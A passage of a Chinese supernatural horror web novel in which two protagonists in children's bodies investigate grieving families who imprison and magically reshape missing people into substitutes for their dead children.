他神情专注,仿佛完全沉浸在自己的小世界里。 陶玉芝进来的时候,他手上的动作未停。 一块块积木在他小巧的手中灵活翻转,那座昨天只搭了一半的积木城堡,此刻已经初具雏形,只剩下最后几块便能彻底完工。 陶玉芝看着这一幕,眼底那抹几乎要溢出来的欣慰与慈爱,又浓重了几分。 在她的记忆中,小远最喜欢玩的就是积木,还有看那些她精心挑选的故事书。 眼前这个“小远”,似乎正一点点变回她记忆中的样子。 她将餐盘轻轻放到床头柜上,声音放得极轻,生怕惊扰到他:“小远,先过来吃饭吧。” 宿珩这才像是刚从积木的世界里回过神,听到陶玉芝的呼唤,立即停下了手中的动作。 他抬起头看着陶玉芝,将沾了些许积木细屑和灰尘的小手举到她面前,声音带着孩童特有的软糯。 “妈妈,我想先洗个手。” 陶玉芝看着他那双略显脏污的小手,又看了看他乖巧认真的脸,心中的警惕,在宿珩这两天乖巧听话的表现下,已经消减了不少。 她迟疑了片刻,目光不自觉地朝走廊方向瞥了一眼,最终还是点了点头,语气温和:“去吧,洗干净了再来吃饭。” 说完,她便转身去整理床铺,并没有像昨天那样,寸步不离地跟上去。 宿珩心中微微一松。 这这是一个积极的信号,代表他扮演“小远”这个角色,已经逐渐得到了陶玉芝的信任。 他没有做出任何多余的动作,只是乖乖地应了一声,转身走出了儿童房,径直去了走廊尽头的卫生间。 冰凉的水流冲刷着掌心,也带走了积木上的灰尘。 宿珩看着镜子里那张稚嫩的脸,迅速调整着自己的计划。 洗完手,他重新回到儿童房,表现得极为听话。 床头柜上的餐盘里,牛奶还散发着温热的香气,旁边是烤吐司和切好的水果。 宿珩走过去,端起杯子喝了一小口,温热的液体顺着喉咙滑下,带来一丝暖意。 陶玉芝已经剥好了一个鸡蛋,递到他面前。 她看着宿珩的眼神,温柔得几乎要滴出水来。 宿珩接过来,小口小口地吃着,动作斯文秀气,完全符合陶玉芝心目中,被精心教养的小绅士模样。 吃到一半时,宿珩忽然抬起头,眨了眨那双漆黑明亮的眼睛,好奇地问陶玉芝:“妈妈,爸爸去哪儿了,今天早上都没看见他。” 陶玉芝正用一种近乎痴迷的目光看着他吃饭,闻言,脸上的笑容柔和了几分。 “爸爸呀,他出去帮邻居李叔叔家干点活儿。” 宿珩心中一动,立刻追问:“是什么活儿呀?我可以帮忙吗?” 他脸上露出孩童特有的,跃跃欲试的兴奋。 陶玉芝被他这副认真的小模样逗笑了,忍不住伸出手,轻轻摸了摸他的头,语气带着几分宠溺。 “傻孩子,那是大人们的活,你还小,用不着你干。” 说完,她便巧妙地不再谈论这个话题,只是笑着催促宿珩:“快吃吧,一会儿牛奶该凉了。” 宿珩乖巧地点了点头,继续小口吃着东西。 等盘子里的食物都吃得差不多了,他才放下手中的半杯牛奶,抬起脸,用一种带着期盼的眼神看着陶玉芝。 “妈妈,我可以在楼下看会儿电视吗?” 陶玉芝脸上的笑容微微一滞,眼神里闪过一丝犹豫。 宿珩敏锐地捕捉到了她神情的变化,知道她在纠结。 他立刻趁热打铁,用一种十分认真的语气保证道: “妈妈你放心,我绝对不会乱跑的,我就在客厅里看,哪里都不去……外面都是坏人,我才不要出去!” 那句“外面都是坏人”,他说得格外清晰,像是在刻意模仿陶玉芝昨天的告诫,又带着孩子气的笃定。 听到这句话,陶玉芝紧绷的神经似乎终于松弛了一些。 她看着宿珩眼中那份纯粹的渴望,以及那句让她安心的话,心中最后一道防线也开始动摇。 “好吧……” 陶玉芝终于松了口,但还是不放心地再三强调:“只能在一楼客厅看,其他地方哪里都不许去,就算是院子,也不能踏出去一步,听到了吗?” “还有,必须在爸爸回来之前,重新回到房间里来。” “听到了。” 宿珩用力地点了点头,脸上露出了开心的笑容。 陶玉芝这才放下心来,牵起宿珩的小手,带着他一起下了楼。 一楼客厅的布局,和他昨晚潜入时看到的没什么两样。 楼梯口那个半人高的杂物柜上,银色的老式手电筒依旧静静地躺在原来的位置,仿佛从未被人动过。 陶玉芝将宿珩带到客厅中央那张略显陈旧的双人沙发前,让他坐下。 然后,她打开了电视机,熟练地调了几个台,最后找到一个正在播放动画片的频道,才将遥控器放到宿珩手边。 电视屏幕上,一只粉红色的卡通小猪,正欢快地在泥坑里跳来跳去,发出“哼唧哼唧”的叫声,背景音乐幼稚又欢快。 “小远乖乖在这里看,妈妈去厨房把碗筷洗一下。” 陶玉芝再次叮嘱了一句,让他不要乱走。 随后,她才转身走进了厨房。 水龙头打开的声音很快从厨房传来,伴随着碗碟碰撞的轻微声响。 宿珩假装乖巧地坐在沙发上,目光盯着电视屏幕,心思却完全不在那只粉色小猪身上。 他能感觉到,即便是在厨房里忙碌,陶玉芝的眼角余光,还是会时不时地朝着客厅这边瞥过来,带着一丝不易察觉的观望。 宿珩假装自己没有察觉到她的目光,百无聊赖地看着动画片,甚至还配合着剧情,偶尔发出一声轻笑。 他的视线不经意间,落在了客厅右手边那扇紧闭的房门上。 那是主卧的门。 此刻,房门并没有完全关严,而是虚掩着,露出了一条约莫两指宽的窄小缝隙。 从缝隙中,隐约能看到深色的床单和衣柜的一角,但更深处则是一片幽暗,透着一股说不出的压抑。 宿珩的心思活络起来,开始暗暗盘算着,该用什么样的方法,才能在不惊动陶玉芝的情况下,进入那间主卧查看一番。 然而,还没等他想出稳妥的对策。 厨房里的水声停了。 陶玉芝已经洗好了碗筷,擦干了手,从厨房里走了出来。 她没有回楼上,而是径直走到沙发旁,在宿珩的身边坐了下来,脸上带着温柔的笑意:“妈妈陪你一起看。” 宿珩:“……” 他心中泛起一丝无奈,面上却依旧是乖巧的笑容,点了点头:“好啊。” 这对夫妻的警觉性,实在太高了。 几乎让他找不到任何可以下手的机会。 看来,想要探查这对夫妻的秘密,还需要更多的耐心。 第66章 第 66 章 失落的小孩7 陶玉芝的耐心出奇地好。 她就那样安静地坐在宿珩身边, 陪着他看那些幼稚的动画片,目光时不时地从电视屏幕转向宿珩,带着一丝满足的笑意。 仿佛只要能这样看着“小远”, 就是最大的幸福。 宿珩则继续扮演着一个对动画片兴致勃勃的孩童,时不时对着那几头粉色小猪发出阵阵笑声,心中却在暗暗计算着时间, 同时留意着陶玉芝每一个细微的表情变化。 客厅里的老式挂钟,时针慢悠悠地指向十一点。 就在这时,院门外传来了钥匙开锁的声音, 紧接着是王彦宏略显疲惫的脚步声。 “我回来了。” 王彦宏的声音从门口传来。 陶玉芝几乎是立刻从沙发上站了起来, 脸上那份悠然瞬间被一丝紧张取代。 她快步走到宿珩身边, 拉起他的小手,语气带着催促:“小远, 爸爸回来了,我们快回房间去,妈妈要去做午饭了。” 宿珩顺从地被她牵着,离开了客厅。 陶玉芝一路将他牵回二楼的儿童房, 动作间带着一丝急切, 生怕被王彦宏发现。 刚走到儿童房门口, 宿珩像是突然想起了什么, 停下脚步,仰起小脸看着陶玉芝。 “我……还想再去一下卫生间。” 陶玉芝脸上的神情有些犹豫, 但看着宿珩那双清澈无辜的眼睛,她最终还是点了点头, 只是语气依旧带着叮嘱:“快去快回,爸爸已经到楼下了。” “嗯嗯。” 宿珩乖巧地应了一声,转身朝着走廊尽头的卫生间走去。 进入卫生间后, 宿珩反手将门轻轻带上,走到洗手台前,打开了水龙头。 冰凉的水流哗哗地冲刷着陶瓷盆。 他从口袋里摸出那枚藏好的回形针,借着水流声的掩护,迅速将回形针的一端捅进了老式水龙头开关下方的一个小缝隙里。 那里,是控制水流的橡胶圈。 他用回形针轻轻一撬,再一拨。 只听“噗”的一声轻响,水龙头开关内部的某个部件似乎错位了。 下一秒—— 水流猛地增大,如同脱缰的野马森*晚*整*理般,夹杂着巨大的冲力,从水龙头里喷涌而出,瞬间溅了宿珩一身。 冰冷的水兜头盖脸地浇下来。 他身上那件小西装顷刻间便湿透了,紧紧贴在身上,冷得他打了个哆嗦。 “妈妈,水管坏了!” 宿珩立刻发出一声带着惊慌和无助的呼喊,声音恰到好处地传到了走廊。 陶玉芝正在儿童房门口等着,听到卫生间里传来的水声和宿珩的惊叫,脸色一变,急忙冲了过去。 “小远,怎么了?” 她推开卫生间的门,眼前的景象让她倒抽一口冷气。 水龙头像是坏掉了,正疯狂地往外喷着水,整个洗手台周围已经积起了一小滩水洼。 而宿珩,浑身湿漉漉地站在一片狼藉之中,小脸冻得有些发白,正抱着胳膊,可怜兮兮地望着她,眼睛里还带着一丝受惊后的水汽。 “妈妈……水……水关不掉了……” 宿珩的声音带上了一丝恰到好处的委屈。 陶玉芝见状,也顾不上责备,赶紧冲过去想去关水龙头,但试了几下都无济于事。 “彦宏,彦宏你快上来一下,楼上水龙头坏了!” 她急忙朝着楼下大声喊道。 楼下很快传来了王彦宏应答的声音和上楼的脚步声。 陶玉芝不再管那依旧在喷水的水龙头,连忙拉过宿珩冰凉的小手,急声道:“快,跟妈妈回房间换衣服,别着凉了!” 她牵着宿珩,急匆匆地往儿童房走。 刚走到儿童房门口,陶玉芝的脚步却猛地一顿。她像是突然想起了什么,脸上露出一丝懊恼。 儿童房的衣柜里,除了那套小西装,根本没有多余的换洗衣物。 这时,王彦宏已经拿着工具箱走上了楼梯,看到妻子和浑身湿透的宿珩,皱眉问道:“怎么回事?” 他注意到宿珩被冻得有些发白的小脸和微微颤抖的身体。 “水龙头好像老化了,突然就坏了。” 陶玉芝急急地解释道,一边将宿珩往自己身后拉了拉,挡住王彦宏审视的目光。 “你快去看看能不能修好,我带小远去换件干衣服。” 说完,她不再耽搁,牵着宿珩的手,转身便朝着楼下走去。 王彦宏看着他们下楼的背影,又看了一眼还在哗哗漏水的卫生间,眉头皱得更紧了些,提着工具箱走了过去。 陶玉芝带着宿珩回到一楼。 她没有丝毫犹豫,径直将宿珩带到了那扇她平时总是紧锁的主卧室门口,掏出钥匙打开了房门。 “小远,你先在门口等一下,妈妈进去给你找件衣服。” 宿珩乖巧地点了点头,站在门口,目光却不着痕迹地打量着这间他第一次踏足的房间。 主卧的光线比儿童房要暗沉许多,厚重的窗帘拉得严严实实,只透进几丝微弱的光线。 空气中弥漫着一股淡淡的,说不出的陈旧气味。 但更多的是一股类似泥土的……泥腥味。 陶玉芝快步走到房间一侧那扇看起来异常厚重的深色大衣柜前,拉开了柜门。 那衣柜内部的空间,似乎比从外面看起来要深得多。 陶玉芝弯下腰,大半个身子都探进了衣柜里,费力地翻找着。 她的身影在幽暗的柜子里显得有些模糊,仿佛要被那深不见底的黑暗吞噬一般。 过了一会儿,陶玉芝的声音才从衣柜深处闷闷地传出来:“找到了!” 她直起身,从衣柜里退了出来。 手里拿着一件叠放着的深蓝色小衣服,款式和宿珩身上湿透的那套小西装有些相似,只是面料看起来更旧一些,还带着明显的褶皱,像是被人穿过,然后随意塞在柜子深处很久了。 “来,我们回楼上房间换。” 陶玉芝拿着衣服,便想拉着宿珩回二楼。 “阿嚏——” 宿珩恰到好处地打了一个响亮的喷嚏,随即吸了吸鼻子,用带着浓重鼻音的声音。 小声说:“对不起……都怪我,要是我不去上厕所,就不会弄坏水龙头了……” 他低下头,一副做错了事,既委屈又自责的模样。 这话一出,陶玉芝看着他冻得发红的鼻尖和湿漉漉的头发,心里顿时软得一塌糊涂,那点残存的疑虑和警惕也烟消云散了。 “傻孩子,这怎么能怪你呢?” 她急忙蹲下身,用手背探了探宿珩冰凉的额头,语气心疼又急切。 “水龙头老化了,跟你没关系。快,别上楼了,就在这里换,换完赶紧暖和暖和,可别真的感冒了。” 她将那件带着褶皱的旧衣服放到主卧那张大床上,催促道:“快把湿衣服脱下来,妈妈出去等你,换好了叫我。” 宿珩乖巧地点了点头。 陶玉芝又叮嘱了几句,这才起身走出主卧,还体贴地替他将房门轻轻关上了。 门刚一关上,宿珩脸上的乖巧和病弱便瞬间褪去。 他迅速走到门边,将门内侧的保险扭扣上,发出“咔哒”一声轻响。 然后,他飞快地脱下身上湿漉漉的衣物,随手丢在地上,迅速换上那套还算干净的衣服。 紧接着,宿珩赤着脚,踩在微凉的木地板上,他没有发出一点声音,径自走到了那扇巨大的衣柜前。 他伸出手,拉开了厚重的柜门。 一股更浓郁的泥腥味扑面而来。 柜子里面光线昏暗,果然像他刚才看到的那样,异常深邃。 宿珩踮起脚尖,伸长手臂探了进去。 以他现在这具孩童的身体,手臂几乎要完全伸直,指尖才能勉强触碰到衣柜最里面的背板。 他的手在里面摸索着。 衣柜底部,最角落的地方,只胡乱堆着一条薄薄的,颜色暗沉的旧被子。 宿珩将那条被子掀开。 被子下面,是光滑的木质底板。 他曲起手指,轻轻敲了敲。 “叩叩。” 从底板上传来的声音,带着一丝空洞的回响。 宿珩的眸光猛然一凝。 这柜子下面,似乎别有洞天。 宿珩迟疑了一瞬,随即身子一矮,直接钻进了那个深不见底的衣柜。 他小小的身体在昏暗中摸索,很快,在那条颜色暗沉的旧被子下方,指尖触碰到了一个冰凉的金属凸起。 像是一个锁扣。 他心中一动,正想用力掀开那块似乎可以活动的底板看个究竟—— “咚咚咚。” 门外,传来了陶玉芝略带焦急的敲门声。 “小远,你还没换好吗?” 她的声音隔着门板传来,带着一丝失去耐心的催促。 宿珩动作一顿,不愿在此刻打草惊蛇。 他迅速将那条旧被子恢复原状,遮住底板上的痕迹,然后悄无声息地从衣柜里退了出来。 他深吸一口气,走到门边,慢慢解开了门内侧的保险扭。 房门打开。 门外,不止站着陶玉芝。 王彦宏也站在那里,他身上还带着几分狼狈的水渍和阴冷的湿气,脸色算不上好看。 他那双深邃的眼睛,此刻正一瞬不瞬地盯着宿珩,语气带着几分狐疑。 “小远……怎么换件衣服要这么久?” 宿珩心中微凛,他已经隐约察觉到王彦宏对自己产生了怀疑。 他刚想找个理由解释,但没等他开口,陶玉芝已经主动上前一步,挡在了宿珩身前,脸上带着自然的笑容,替他打着圆场。 “哎呀,小孩子嘛,衣服湿透了,黏在身上不好脱,耽误了一会儿也正常。” 她说着,伸手摸了摸宿珩的头发,语气温柔:“好了,快跟妈妈回楼上房间,别再着凉了。” 王彦宏的目光在宿珩身上停留了几秒,眼神如鹰隼般锐利,似乎想从他这副孩童的表情下,挖出些什么。 最终,他没有再多说什么,只是沉声道:“你带他上去吧,我也要换身衣服。” 说完,他便转身走进了主卧,没有再看宿珩一眼。 陶玉芝松了口气,连忙拉着宿珩的手,快步朝着楼梯走去。 “小远乖,我们回房间。” 将宿珩送回二楼的儿童房,看着他乖乖坐到床边,陶玉芝才转身离开,并迅速反锁了房门。 随即她立刻下楼,回到了主卧。 房间里,王彦宏并没有立刻换衣服,而是坐在床沿,低着头,手指无意识地摩挲着裤缝,像是在沉思着什么。 昏暗的光线下,他周身散发着一股令人不安的压抑气息。 陶玉芝走到他身边,轻声问道:“彦宏,你怎么了?” 王彦宏没有回答她的问题,而是缓缓抬起头,目光直直地看向她。 那眼神复杂而深沉,带着一丝难以言喻的疲惫和……质疑。 “玉芝……”他声音低沉沙哑,“他……不像一个听话的‘小远’。” 陶玉芝的脸色瞬间变了。 她急忙反驳道:“你在说什么呢,他就是小远啊!” “你看他多乖,多听话,还喜欢玩积木,喜欢看我们给他准备的故事书,他就是我们的小远!” 她的声音带着一丝细微的颤抖,像是在努力说服王彦宏,也像是在说服自己。 王彦宏脸上的表情没有任何变化,只是那双眼睛依旧紧紧地锁着她。 “每一个你都说是小远……”他一字一句,声音冰冷而残酷,“但最终呢?” “最终呢?” “之前那个,不是也喜欢积木吗?再之前那个,不是也装得很乖吗?” 这几句话像一把尖锐的刀,一下下割在陶玉芝的心上。 她脸上的血色瞬间褪尽,身体不受控制地晃了晃。 那些被她刻意压抑在心底深处的,不好的回忆,如同汹涌的潮水般,瞬间将她吞噬。 她仿佛又看到了空荡荡的房间里一个又一个“小远”的影子,那些渐渐失去光彩的眼睛,那些最终化为泡影的希望…… “不……不是的……” 陶玉芝猛地蹲下身,双手掩面,压抑的啜泣声从指缝间溢出,带着无尽的绝望和痛苦。 王彦宏看着她崩溃的模样,眼中闪过一丝复杂的情绪,有不忍,也有麻木。 他重重地叹了口气,蹲下身来,伸出手,将瘫软在地的陶玉芝慢慢搂入怀中。 他的动作有些僵硬,语气却带着一丝罕见的温和:“好了,别哭了。” “只要他……不离开这栋楼,他就还是我们的小远。” 王彦宏的声音在她耳边低沉地响起,带着一种近乎冷漠的肯定。 听到这句话,陶玉芝的哭声渐渐止住。 她抬起那张布满泪痕的脸,眼神空洞地看着王彦宏,声音沙哑:“我……我会注意的,我一定不会再让他……” “嗯。” 王彦宏轻轻拍了拍她的背,打断了她的话,“好了,该给他们喂饭了。” 陶玉芝的身体僵了一下,随即有些浑噩地点了点头。 她挣扎着从地上站起来,擦了擦脸上的泪水,声音依旧带着浓重的鼻音:“我去……我去准备吃的。” 她没有说午饭,而是用了“吃的”这个词。 说完,她便失魂落魄地走出了主卧。 等陶玉芝离开后,王彦宏脸上的那丝温和瞬间消失殆尽,取而代之的是一片阴沉。 他站起身,走到那扇巨大的衣柜前,毫不犹豫地拉开了柜门。 他弯下腰,大半个身子都钻了进去。 他伸手掀开角落里那条薄薄的旧被子,露出了下面那个冰冷的金属锁扣。 王彦宏熟练地将锁扣解开,然后双手抵住那块活动的木质底板,用力向旁边一推。 “吱呀——” 一声沉闷的摩擦声后,衣柜的底板被推开了一个黑洞洞的入口,像一张准备择人而噬的巨兽之口。 一股浓郁至极的泥腥味,混杂着难以言喻的腐臭气息,猛地从那洞口扑鼻而来,令人作呕。 即便是王彦宏,也下意识地皱了皱眉。 过了一会儿,陶玉芝拎着一个沉甸甸的铁皮桶走了进来,桶里装着一些发黑发硬的面包块,还有一壶看起来浑浊不堪的水。 王彦宏没有回头,也没有看那铁皮桶一眼,只是伸出手。 陶玉芝沉默地将铁皮桶递给他。 王彦宏接过铁皮桶,面无表情地将上面的所有面包和水,一股脑地全部倒进了那个黑洞洞的入口之中。 “哗啦——咚!” 食物落地的声音之后,下面立刻响起了一阵令人毛骨悚然的,如同野兽般的争抢声和模糊不清的呜咽。 王彦宏听着那些声音,脸上没有任何表情。 他将空了的铁皮桶递还给陶玉芝,然后重新将那块底板推回原位,锁好锁扣,盖上被子。 衣柜再次恢复了原样,仿佛什么都没有发生过。 只有空气中那愈发浓重的恶臭,昭示着这平静表面下的恐怖。 与此同时,二楼的儿童房内。 宿珩安静地站在窗前,透过木条封死的缝隙,凝视着院墙外那片被灰蒙蒙天色笼罩的压抑景象。 他的目光在院墙外那几株高大的梧桐树上逡巡。 忽然,他的瞳孔微微一缩。 视线定格在正对着他这扇窗户的那株梧桐树上。 那片浓密的枝丫间,有一小块区域的树叶,颜色似乎比周围的要浅一些。 像是……被人为地摘掉了不少。 宿珩微眯起眼睛,努力调整着角度,透过木条缝隙,仔细辨认着。 片刻之后,他终于看清了。 那些被清理出来的空隙,在浓密的绿叶背景下,构成了一个歪歪扭扭,但依稀可辨的阿拉伯数字—— 9。 宿珩心绪微动。 他几乎可以肯定,这是肖靳言留下的手笔。 数字9。 这个数字,代表什么意思呢? 是这里还剩下9个人……还是说,今晚9点? 或者别的意思? 宿珩的眉头微微蹙起,陷入了沉思。 以他对肖靳言的了解,他更倾向于今晚9点。 如果这对夫妻还像昨晚那样出门的话,不管是对他还是肖靳言,都会是个绝佳的时机。 第67章 第 67 章 失落的小孩8 下午的时间, 宿珩一直被反锁在儿童房内,再没有找到任何出去的机会。 他将那枚回形针重新藏好,坐在地毯上, 看似在摆弄积木,实则脑中不断复盘着上午的每一个细节,以及窗外梧桐树上那个模糊的数字“9”。 隔壁书房里, 时不时传来王彦宏压抑的咳嗽声。 那咳嗽声一下下,闷闷地,像是在极力克制, 却又无法完全压下, 听得人心头发紧。 宿珩知道, 王彦宏的怀疑并未消除,反而可能因为上午水龙头的事, 变得更加警惕。 他必须更有耐心。 直到傍晚时分,余晖将窗棂的影子拉得老长。 门锁转动的声音再次响起。 陶玉芝端着餐盘走了进来,脸上依旧带着那抹刻意维持的温柔笑意。 但宿珩注意到,她眼底的疲惫比白天更浓, 甚至带上了一丝极淡的疏离。 她将餐盘放到床头柜上, 里面是简单的白粥和小菜。 “小远, 晚饭好了。” 她的声音比平时要轻一些, 也少了几分亲昵,更像是在完成一项例行公事。 宿珩刚拿起勺子, 陶玉芝便开口说道:“妈妈还有些事情要出去一趟,你乖乖吃完饭, 早点上床睡觉,知道吗?” 宿珩抬起头,漆黑的眸子望向她, 乖巧地点了点头。 陶玉芝像是松了口气,又习惯性地叮嘱了几句“不要乱跑”、“早点休息”之类的话,便转身匆匆离开了儿童房,反手将门再次锁好。 宿珩听着她下楼的脚步声渐渐远去。 陶玉芝快步下到一楼,径直走进了厨房,将灶台上温着的稀薄白粥,一股脑全倒进了一个铁皮桶里。 随后,她拎着沉甸甸的铁皮桶,推开院门,身影很快消失在暮色渐沉的街道上。 陶玉芝熟门熟路地来到那座破旧的老教堂。 教堂内,那张简陋的长木桌已经重新摆好,上面还放着一筐边缘发硬的面包。 她将手中的铁皮桶重重地放到桌上,发出一声闷响。 “玉芝,你来了。” 一个略显沙哑的声音从旁边传来,刘芳正靠在墙边,脸色比昨天看起来更加憔悴,眼窝深陷,布满了血丝,整个人像是被抽干了精气神。 陶玉芝看了她一眼,眉头微蹙:“刘芳,你这脸色怎么这么差?” 刘芳有气无力地点了点头,声音带着浓浓的疲惫:“嗯,一夜都没合眼。” 陶玉芝似乎知道些什么,轻轻叹了口气,走过去拍了拍她的肩膀。 “你也别太着急了,慢慢来。” 刘芳勉强扯出一个比哭还难看的笑容,点了点头,没有再多说什么。 不多时。 教堂门旁那口生锈的铁钟,被人准时敲响了五下,沉闷的钟声在寂静的夜空中回荡。 钟声刚落。 几个衣衫褴褛,脸上脏兮兮的“孩子”如同嗅到血腥味的饿狼般,蜂拥着冲了进来,争先恐后地挤到长桌前。 刘芳强撑着精神,拿起勺子,开始给他们打粥,陶玉芝则在一旁分发面包。 袁广挤在人群中,领到了一份食物。 但他今天却一反常态,没有像往常那样立刻狼吞虎咽。 而是端着那碗稀粥,蹲在教堂的角落里,一双小眼睛滴溜溜地四处张望着。 他找了一圈,还是没有发现那个叫韩牧川的小卷毛的身影。 与此同时,在距离老教堂几条街之外,一条更为偏僻破败的小巷深处。 肖靳言的身影如同鬼魅般,悄无声息地出现在刘芳家那栋低矮的房子前。 他抬头看了一眼紧闭的木门和拉着厚重窗帘的窗户,确认四周无人后,从衣兜里再次摸出了那根细长的铁丝。 撬开这种老旧的门锁,对他而言,易如反掌。 “咔嚓。” 一声微不可闻的轻响,门锁应声而开。 肖靳言推开一道仅容一人通过的缝隙,敏捷地闪身进入屋内,随即将门轻轻带上,不发出一点多余的声响。 房间里依旧一片漆黑,弥漫着那股熟悉的霉味和淡淡的陈腐气息。 他没有片刻停留,凭借着记忆,径直走向客厅另一侧,那扇门把手上挂着厚重铁链锁的房间。 故技重施。 冰冷的铁丝探入锈迹斑斑的锁孔,在他手中灵活地拨动了几下。 “哐当。” 沉重的铁链锁应声掉落在地,发出一声在寂静中略显刺耳的声响。 肖靳言推开房门。 一股浓郁的、令人窒息的恶臭混杂着潮湿的气息,从门后扑面而来。 房间里没有窗户,一片漆黑,伸手不见五指。 肖靳言面不改色,在门边的墙壁上摸索了一下,很快便找到了电灯的开关。 “啪。” 他按下开关。 一盏昏暗的白炽灯泡在头顶亮起,发出滋滋的电流声,勉强驱散了房间里的部分黑暗。 房间很小,空荡荡的。 只有角落的地上,蜷缩着一个虚弱不堪的小女孩。 她头发杂乱,身上穿着破旧不堪的衣服,手腕和脚踝上,都被粗重的铁链牢牢锁着,铁链的另一端固定在潮湿的墙壁深处。 突如其来的光亮,让她似乎有些不适。 她下意识地抬起那只瘦骨嶙峋,沾满了污渍的胳膊,挡在了眼前。 过了好一会儿,她才慢慢放下手臂,透过指缝,看清了站在门口的那个身影。 那是一个看起来约莫七八岁的男孩,身上穿着和她一样破旧的衣服,脸上也脏兮兮的。 但那双眼睛,却异常明亮,带着一种与年龄不符的冷酷和沉静。 女孩不由自主地张大了嘴巴,似乎想要惊呼出声。 但又像是想到了什么,她硬生生将那声呼喊憋了回去,只是用一双盛满了惊恐和难以置信的眼睛,死死地盯着肖靳言。 肖靳言的目光在她身上扫过,随即抬起一根手指,放到唇边,对她比了一个噤声的手势。 女孩立刻会意,惊恐地点了点头,大气都不敢喘。 “你叫什么名字?” 肖靳言的声音压得很低,带着孩童特有的清脆,语气却冷硬如冰。 女孩的嘴唇哆嗦了几下,喉咙里发出一阵干涩的摩擦声。 过了好几秒,才用细若蚊蚋的声音回答:“我……我叫萧红……” 肖靳言的眸光微不可察地动了动。 萧红。 她应该就是袁广之前提过的,第一个失踪的那个女白领。 “求求你……求求你救救我……” 萧红的眼泪瞬间涌了出来,声音带着哭腔,压抑着哀求道:“快……快帮我把这个解开……那个疯女人……她很快就会回来的……” 肖靳言的脸上却不见丝毫慌乱,语气平静地开口:“她暂时回不来。” 在来之前,他已经特意叮嘱过袁广,让他想办法在教堂那边尽可能地拖住刘芳,为自己争取足够的时间。 他迈步朝着萧红走了过去,准备先帮她解开手腕和脚踝上的铁链。 然而,就在他距离萧红还有约莫一米远的时候,脚步却忽然顿住了。 离得近了,借着头顶那昏暗的灯光,肖靳言也看得更清楚了一些。 眼前这个名叫萧红的女孩,虽然满脸污垢,瘦得脱了相,但那五官轮廓,依稀能看出几分原本的模样。 而这张脸…… 肖靳言的瞳孔骤然一缩。 这张脸,已经变得,和刘芳客厅桌上,那张褪色合影里的那个小女孩,有着至少七分的相似。 除此之外。 拴住她手脚的铁链与墙壁连接的铆钉周围,墙上似乎还刻着一些模糊不清的,类似符咒的图案。 这些图案在昏黄灯光下,透出一股说不清的邪异。 肖靳言的眸色渐渐沉了下去。 他认得出来,墙上那些扭曲的图案,正是利用心门规则碎片,具现化出来的一种邪咒。 并且……绝非一般的心门主人能够布设出来的。 更像是无限世界未崩塌前……某些玩家最喜欢用的阴狠手笔。 它们像活物一般,微弱地搏动着,与萧红的气息隐隐相连。 换句话说—— 这是刘芳,利用这套邪咒和自己那近乎偏执的绝望与思念,正在一点一点地,将眼前的萧红,重塑成她记忆中女儿的模样。 难怪,这张脸已经有了七分相似。 肖靳言心中泛起一股寒意。 再过不久,当这“仪式”完成,萧红恐怕就会彻底变成刘芳照片上,那个朝思暮想的女儿。 灵魂与□□都被强行扭曲,成为一个可悲的替代品。 这是一种何等荒诞而残忍的臆想。 用一个活生生的人,来弥补自己失去至亲的创伤,填补对女儿无尽的想念。 如果萧红是这样,那么其他几个失踪的人呢? 包括闫知许。 他们如今是不是也处于这种境地之中? 肖靳言猛然想起了老教堂里,那些围成一圈的,不多不少,正好十三个的木头凳子。 如果他的猜测没错,这扇心门的主人,恐怕不止一个。 而是至少十三个,甚至更多。 这些同样失去了孩子的家庭,联手用他们无边的绝望与执念,共同打造出了这样一个庞大而扭曲的心门世界。 他不敢轻易斩断这些铁链。 “仪式”已经进行了一大半,这些规则碎片与萧红的灵魂,恐怕已经产生了某种深度的联结。 如果他贸然切断,极有可能引发强烈的反噬。 以萧红如今这具孱弱不堪的身体,根本承受不住,甚至可能会当场死亡。 最稳妥的做法,是等到心门被彻底破解,规则碎片自行消散,这个荒谬的“仪式”才会自行终止。 肖靳言垂下眼眸,遮住眼底翻涌的复杂情绪。 他看着地上那个瑟瑟发抖,眼中尚存一丝希冀的女孩,声音低沉,带着一丝不易察觉的歉意。 “抱歉,我现在还不能带你走。” 萧红眼中刚刚燃起的光芒,瞬间黯淡下去,取而代之的是更深的绝望。 “为什么?”她的声音嘶哑,带着哭腔,“你不是来救我的吗?” “我会救你出去,但不是现在。” 肖靳言的语气依旧平静,却带着一抹坚定,“你再忍耐一下,我保证,会尽快。” 萧红看着他,看着他那双在昏暗灯光下,依旧显得过分冷静的眼睛。 她不明白,为什么明明有人来了,却不能立刻带她逃离这个地狱。 见他似乎准备转身离开,萧红顿时惊慌失措起来,她挣扎着想要爬起来,手脚上的铁链发出哗啦啦的刺耳声响。 “别走!求求你,别丢下我一个人!” 肖靳言的脚步顿住,他转过身,再次看向她,重复道:“抱歉。” 这一次,萧红眼中的泪水终于决堤而出,顺着她肮脏消瘦的脸颊滚落。 但出乎肖靳言意料的是—— 她并没有歇斯底里地哭喊,只是死死咬着嘴唇,任由泪水模糊了视线。 或许是太久没有见过除了刘芳以外的活人,或许是肖靳言身上那股莫名的安定感让她产生了一丝微弱的信任。 她哽咽着,从喉咙里挤出一句:“谢……谢谢你……我知道了。” 肖靳言没有再多说什么,只是深深地看了她一眼。 他重新将那扇破旧的木门关好,捡起地上的铁链锁,将其重新挂回门把手上,伪装成一切如常的模样。 然后,他悄无声息地退出了这间令人窒息的屋子。 另一边,老教堂。 所有的粥水和面包都已经发放完毕。 那些衣衫褴褛的“孩子”们这次逗留的时间明显更久了些,直到现在才各自散去,教堂内重新恢复了空旷与寂静。 陶玉芝和刘芳收拾好东西,也相继离开了教堂。 陶玉芝没有直接回家,而是先去了书房。 王彦宏正坐在书桌后,面前摊开着一本厚重的书,但他显然没有看进去,眉头紧锁,神色凝重。 “都安排好了?” 王彦宏头也没抬,声音低沉地问道。 “嗯。”陶玉芝应了一声,走到他身边,“互助会那边也都通知过了,今晚照常。” 王彦宏点了点头,合上了书,站起身。 两人没有再多交谈,一前一后地走出了书房。 时钟的时针,正缓缓指向九点。 宿珩一直透过儿童房窗户木条的缝隙,注视着院门外的动静。 当看到陶玉芝和王彦宏的身影一前一后地走出院门,很快消失在街道深沉的夜色之中时,他紧绷的神经才微微松弛下来。 他立刻行动起来。 熟练地用回形针打开了儿童房反锁的门,侧耳倾听片刻,确认楼下没有动静后,他迅速下到了一楼。 这一次,他并没有像昨晚那样,急于去撬开主卧室的门。 而是径直走到了大门前,轻轻拉开了门栓,推开那扇沉重的木门,走进了院子里。 夜风带着一丝凉意,拂过他的脸颊。 宿珩抬起头,目光落在院子那圈高达三米多的院墙上。 